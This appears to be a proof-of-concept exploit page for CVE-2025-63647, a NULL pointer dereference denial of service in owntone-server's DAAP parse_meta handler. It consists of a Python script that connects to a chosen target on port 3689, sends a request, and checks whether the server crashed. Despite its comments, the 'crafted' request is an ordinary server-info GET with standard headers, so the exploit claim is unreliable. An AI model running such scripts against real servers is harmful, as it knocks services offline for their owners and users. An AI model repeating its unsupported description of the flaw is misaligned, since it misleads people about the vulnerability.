CVE-2025-63647 owntone-server parse_meta函数NULL指针解引用拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-63647 PoC - owntone-server NULL Pointer Dereference in parse_meta This PoC demonstrates sending a crafted DAAP request to trigger the vulnerability. Note: Use only for authorized security testing. """ import socket import struct def create_crafted_daap_request(): """ Create a crafted DAAP request to trigger NULL pointer dereference in parse_meta function (src/httpd_daap.c) """ # DAAP protocol header # The crafted request exploits the parse_meta function vulnerability request = b'GET /server-info HTTP/1.1\r\n' request += b'Content-Type: application/x-dmap-tagged\r\n' request += b'Host: target-server:3689\r\n' request += b'Client-DAAP-Version: 3.0\r\n' request += b'Accept-Language: en-us, en;q=0.5\r\n' request += b'\r\n' return request def send_exploit(target_ip, target_port=3689): """ Send the crafted exploit payload to target server """ try: print(f"[*] Connecting to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print("[*] Sending crafted DAAP request...") payload = create_crafted_daap_request() sock.send(payload) print("[*] Payload sent. Waiting for response...") try: response = sock.recv(4096) print(f"[*] Received response: {response[:100]}") except socket.timeout: print("[*] No response received (server may have crashed)") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 3689 send_exploit(target, port)